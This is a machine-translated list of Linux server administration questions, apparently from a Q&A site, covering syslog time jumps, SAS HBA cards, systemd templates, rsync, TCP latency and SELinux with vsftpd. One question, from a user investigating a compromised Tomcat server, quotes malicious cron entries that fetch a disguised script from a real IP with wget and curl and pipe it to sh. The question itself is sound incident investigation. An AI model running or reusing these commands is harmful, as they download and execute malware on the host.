Questions tagged «linux»

Linux是基于Linux内核的类UNIX开源操作系统的通用术语。

2
linux系统时间暂时跳跃
我在某些(硬件)服务器上看到了一个奇怪的系统时间更改行为:在/ var / logs / syslog中,每条日志消息之前的日期时间有时会更改为随机的,而在下一条消息中会恢复为正常,如下所示: 2018年2月22日09:09:30 ... 2018年2月22日09:09:32 ... 26年1月13日15:37:42 ... 2018年2月22日09:09:33 ... 2018年2月22日09:09:34 ... 如示例中所示,日期时间的突然变化可能长达数百年。 我可以确认带有奇怪时间戳记的日志消息不是来自任何特定的过程,而是可以随机发生的。 两次异常时间更改之间的持续时间在几分钟到几小时之间不等(但是,我怀疑异常时间更改可能会更频繁地发生,但是由于系统日志不是每秒写入一次,因此许多未在系统日志中显示出来)。 另外,由于它发生在多个服务器上,因此我认为这不是硬件问题。 有关服务器的更多信息:它们是带有一个控制器和几个计算节点的开放式堆栈安装。每个服务器都有正在运行的ntp服务。控制器配置为从其自己的硬件时钟中抽出时间,并且计算节点服务器从控制器同步时间。请注意,每个服务器都会以自己的速度进行异常的时间更改-看起来“错误的时间”不是通过ntp从控制器同步的。 我怀疑计算节点上的来宾系统(虚拟机)可能会影响其主机系统时间。但这不能解释为什么控制器在不运行任何虚拟机时仍存在相同的问题。 我需要一种检测方法:谁更改了系统时间,它是如何发生的?

2
存储服务器-将SAS HBA卡交换为其他型号
TL; DR Server的原始SAS HBA(PCIe卡)不支持透明直通,这是我所希望的,因为我希望OS管理磁盘(ZFS)。 在我公司,我们有一个带SRCSAS144E RAID控制器的Intel SSR212MC2服务器(规格表)。机器闲置着,我计划在部署它之前对其进行一些试验。 显然,SRCSAS144E控制器仅支持将RAID卷呈现给操作系统。创建十二个单卷RAID0组对我来说似乎非常困难,当我意识到无法将磁盘移动到另一台服务器时,就产生了怀疑(有关软件突袭,请参见hba的答案)。 因此,如果我对SAS的有限理解是正确的,那么我可以购买另一张卡(例如this),代替现有的卡,然后将SAS扩展器提供的电缆插入其中。最后,操作系统应该会看到每个单独的设备,对吗? Linux内核将需要驱动程序来与网卡对话,但是我认为这种通用设备已经获得主流支持。还有什么我需要注意的吗?



1
无法删除Linux目录-无限递归
我们在支持我们的版本控制服务器的RHEL6 VM上安装了NFS-最近,其中一个存储库变得有些疯狂,这是我在服务器上找到的: ls -latri repo.git/refs/heads/ total 28 5551210 drwxr-xr-x. 2 git git 8192 Jun 1 21:21 . 5551210 drwxr-xr-x. 2 git git 8192 Jun 1 21:21 5551210 drwxr-xr-x. 2 git git 8192 Jun 1 21:21 5551209 drwxr-xr-x. 3 git git 4096 Jun 1 22:09 .. 当我tree对目录运行时,它似乎是无限递归的-例如: repo.git/refs/heads/ ├── │ ├── …
8 linux  redhat  nfs 

6
如何远程观看终端窗口?
我离开办公室之前有一个活动的终端窗口,该窗口在Centos 7服务器上运行脚本。现在我已经从家里进行SSH了,我想知道它的去向。这可能吗?我可以从这里重新加入同一终端窗口吗?

3
通过未知来源的cron对Apache服务器进行Shell脚本攻击
在Apache tomcat服务器上运行项目大战时,我发现该服务器已受到威胁。 在对未知分子进行战争时,cron像这样 [root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh */12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh 下载的文件logo.jpg带有正在下载恶意软件的外壳程序脚本。 我在下面的这个网站上发现了类似的问题 https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/ 和 /security/160068/kworker34-malware-on-linux 我无法在整个代码中找到此cron调度程序的来源。 我想知道有人遇到过这个问题吗?以及如何在代码中查找调度程序的来源。 注意: 我正在研究JAVA(Struts 2)+ jsp + javascript + jquery Web项目。 每次我使用项目的war文件启动tomcat时,都会运行此调度程序,但是我无法在代码中找到任何用于调度程序的调度程序。 我在日志文件中找到了以下行 [INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - …


1
是否可以覆盖systemd单位文件来创建模板单位文件?
我知道systemd提供了一种出色的机制来覆盖程序包提供的单元文件,以影响服务配置/行为。通常使用以下命令完成此操作 sudo systemctl edit <unitfile> 在创建一个覆盖conf文件 /etc/systemd/system/<unitfile.d>/ Systemd还提供了一种单独的机制来定义模板单元文件,并将其实例化以在运行时创建实例特定的单元。这需要将模板文件命名为 <servicename>@.service 然后实例化为 systemctl start <servicename>@<instancename> 现在,我遇到了一种情况,我想将包提供的服务作为多个单元实例运行。我想避免创建自己的模板单元文件,因此我尝试查看是否可以重写软件包提供的单元文件来创建模板单元文件。 根据我的理解,由于模板单位文件的命名约定与常规单位文件不同,因此我认为无法通过将模板文件放在/ etc / systemd / system中来覆盖软件包提供的单位文件。 有什么明确的方法可以实现我的目标吗? 特定方案:grafana软件包安装grafana-server.service单位文件。我想在我的机器上运行grafana的两个实例-DEV和STG分别一个。我已经能够做到这一点: 修改grafana-server.service文件(使用%I设置文件夹位置和文件路径) 将修改后的grafana-server.service重命名为grafana-server @ .service 使用以下命令启动grafana实例: sudo systemctl start grafana-server@dev 和 sudo systemctl start grafana-server@stg 但是,这断开了grafana提供的服务单元文件的链接,并且如果它们在我升级时增强了服务文件,则需要再次重做此活动。我的目标是避免这种直接依赖性,而是将其转换为替代依赖性。 有什么想法吗?
8 linux  systemd 

1
可以用一个图形卡/两个头对系统进行多座吗?
我想使用Ubuntu Xenial 16.04设置多座配置。 经过一些研究,看来现在的方法是通过“ loginctl”调用进行系统化。(例如,在这里看到)。 在因为我目前不需要材料(手头只有一个键盘)而深入研究本教程之前,我想知道是否有可能仅使用一张具有两个输出,HDMI和DVI。看来需要两张卡,但我想确定。 谢谢

5
将JDK 8设置为Debian 8上的默认Java
我正在尝试将Java SDK 8工具(从debian backports仓库安装)设置为默认工具。 # update-java-alternatives --list java-1.7.0-openjdk-amd64 1071 /usr/lib/jvm/java-1.7.0-openjdk-amd64 java-1.8.0-openjdk-amd64 1069 /usr/lib/jvm/java-1.8.0-openjdk-amd64 # update-java-alternatives --set /usr/lib/jvm/java-1.8.0-openjdk-amd64 update-alternatives: error: no alternatives for mozilla-javaplugin.so update-java-alternatives: plugin alternative does not exist: /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/IcedTeaPlugin.so 嗡嗡声,除了该错误(根据/ubuntu/141791/is-there-a-way-to-update-all-java-related-,我认为这只是警告)替代方案,如果没有,我不知道如何解决这个问题,因为没有IcedTea的插件用于jdk8,我可以看到),这应该做的伎俩,对不对? 但是许多Java工具仍然指向Java 7: # update-alternatives --get-selections | grep java appletviewer manual /usr/lib/jvm/java-8-openjdk-amd64/bin/appletviewer extcheck auto /usr/lib/jvm/java-7-openjdk-amd64/bin/extcheck idlj auto /usr/lib/jvm/java-7-openjdk-amd64/bin/idlj jar auto …
8 linux  debian  java 

2
在rsync中,如何排除所有与模式匹配的目录?
在rsync中,我试图排除与模式匹配的子目录。但是,我无法使其正常工作。我遵循了在此处和在Google上找到的几个示例。但是,我没有得到正确的结果。这是我命令的选项: -avh --exclude 'branch*' --stats --delete --link-dest=$LNK 我的源目录结构是 /root /branch1 /branch2 /branch3 /other /stillAnother /etc 这是备份脚本的一部分。$ LNK是到前一天的rsync目标的链接。 我不想要/ root / branch1,/ root / branch2,/ root / branch3。或要同步的内容。但是,他们是。 这是我已经尝试过的排除位: --exclude=branch* --exclude='branch*' --exclude '/branch*' --exclude /branch* 感谢您的帮助/咨询。 编辑-解决“可能重复”标志 这个问题是关于目录的已知列表。我需要排除遵循模式的所有目录,即使这些目录尚不存在。即从我的示例,/branch*可以添加其他名称的目录。我需要使脚本适应未来的需要,并在添加与模式匹配的目录时避免编辑脚本,因为这些目录可能是临时的。
8 linux  rsync 

2
最新版本的Linux中更高的TCP延迟
在我的研究小组中,我们最近将机器上的操作系统从Red Hat 6.2升级到Debian 8.3,并观察到机器之间通过集成的Intel 1G NIC进行的TCP往返时间从大约110µs翻了一番,达到了220µs。 最初,我认为这是一个配置问题,因此我将所有sysctl配置(例如tcp_low_latency=1)从未升级的Red Hat计算机复制到了Debian计算机,但这并不能解决问题。接下来,我认为这可能是Linux发行问题,并在计算机上安装了Red Hat 7.2,但是往返时间保持在220µs左右。 最后,我发现问题可能出在Linux内核版本上,因为Debian 8.3和Red Hat 7.2都使用了内核3.x,而Red Hat 6.2使用了内核2.6。因此,要进行测试,我安装了带有Linux内核2.6和Bingo的Debian 6.0!时间再次很快达到110µs。 其他人是否在最新版本的Linux中也经历了这些更高的延迟,是否有已知的解决方法? 最低工作实例 下面是一个可用于基准测试延迟的C ++应用程序。它通过发送一条消息,等待响应,然后发送下一条消息来测量延迟。它对100字节的消息执行100,000次。因此,我们可以将客户端的执行时间除以100,000,以获得往返延迟。要使用此方法首先编译程序: g++ -o socketpingpong -O3 -std=c++0x Server.cpp 接下来,在主机上运行应用程序的服务器端版本(例如192.168.0.101)。我们指定IP以确保我们托管在众所周知的接口上。 socketpingpong 192.168.0.101 然后使用Unix实用程序time测量客户端的执行时间。 time socketpingpong 192.168.0.101 client 在具有相同硬件的两台Debian 8.3主机之间运行该实验可获得以下结果。 real 0m22.743s user 0m0.124s sys 0m1.992s Debian 6.0的结果是 real 0m11.448s user 0m0.716s sys …

5
从任何地方运行脚本
我有一个脚本: #!/bin/bash echo "$(dirname $(readlink -e $1))/$(basename $1)" 坐在这里:/home/myuser/bin/abspath.sh具有执行权限。 如果我运行,echo $PATH则会得到以下信息:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/myuser/bin 我希望能够从任何目录调用abspath <some_path_here>它并调用我的脚本。我正在使用bash,我做错了什么?

1
CentOS 7-通过VSFTPD创建的目录不继承SELinux上下文
我们公司拥有一个带有CentOS 7的Web服务器,我们的客户通过FTP(vsftpd)管理其网站。SELinux处于强制模式。 问题是通过VSFTPD创建/上传的数据没有继承适当的SELinux上下文。让我解释。 例如,对于WordPress网站,服务器开箱即用地已经具有一些可以使用看到的规则semanage fcontext -l |grep '/var/www',它们是: /var/www/html(/.*)?/uploads(/.*)? all files system_u:object_r:httpd_sys_rw_content_t:s0 /var/www/html(/.*)?/wp-content(/.*)? all files system_u:object_r:httpd_sys_rw_content_t:s0 因此,当我将WordPress网站复制到另一台服务器时,/var/www/html/通过SSH 将其复制到目录中,wp-content/并wp-content/uploads/具有适当的httpd_sys_rw_content_t安全上下文。但是,当这些文件夹通过FTP创建时,它们获得的上下文是httpd_sys_content_t(no rw)。这意味着我们的客户上载到服务器的站点即使将写权限授予apache用户/组也无法写入这些目录,因此WordPress管理员无法正常工作。因此,当他们上载网站时,他们必须请求我们的支持以解决此问题,这对于所有参与者来说都是浪费时间。 假设客户将其网站上传到中httpdocs,如果通过SSH mv httpdocs/ httpdocs.2/ && cp -pr httpdocs.2/ httpdocs/ && rm httpdocs.2/ -fr可以解决问题,那么数据没有问题。 我也restorecon -Rv httpdocs/可以解决此问题。 因此,问题是:如何使通过VSFTPD创建/上传的目录继承正确的SELinux上下文,就像通过SSH创建/上传目录时继承它们一样?

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.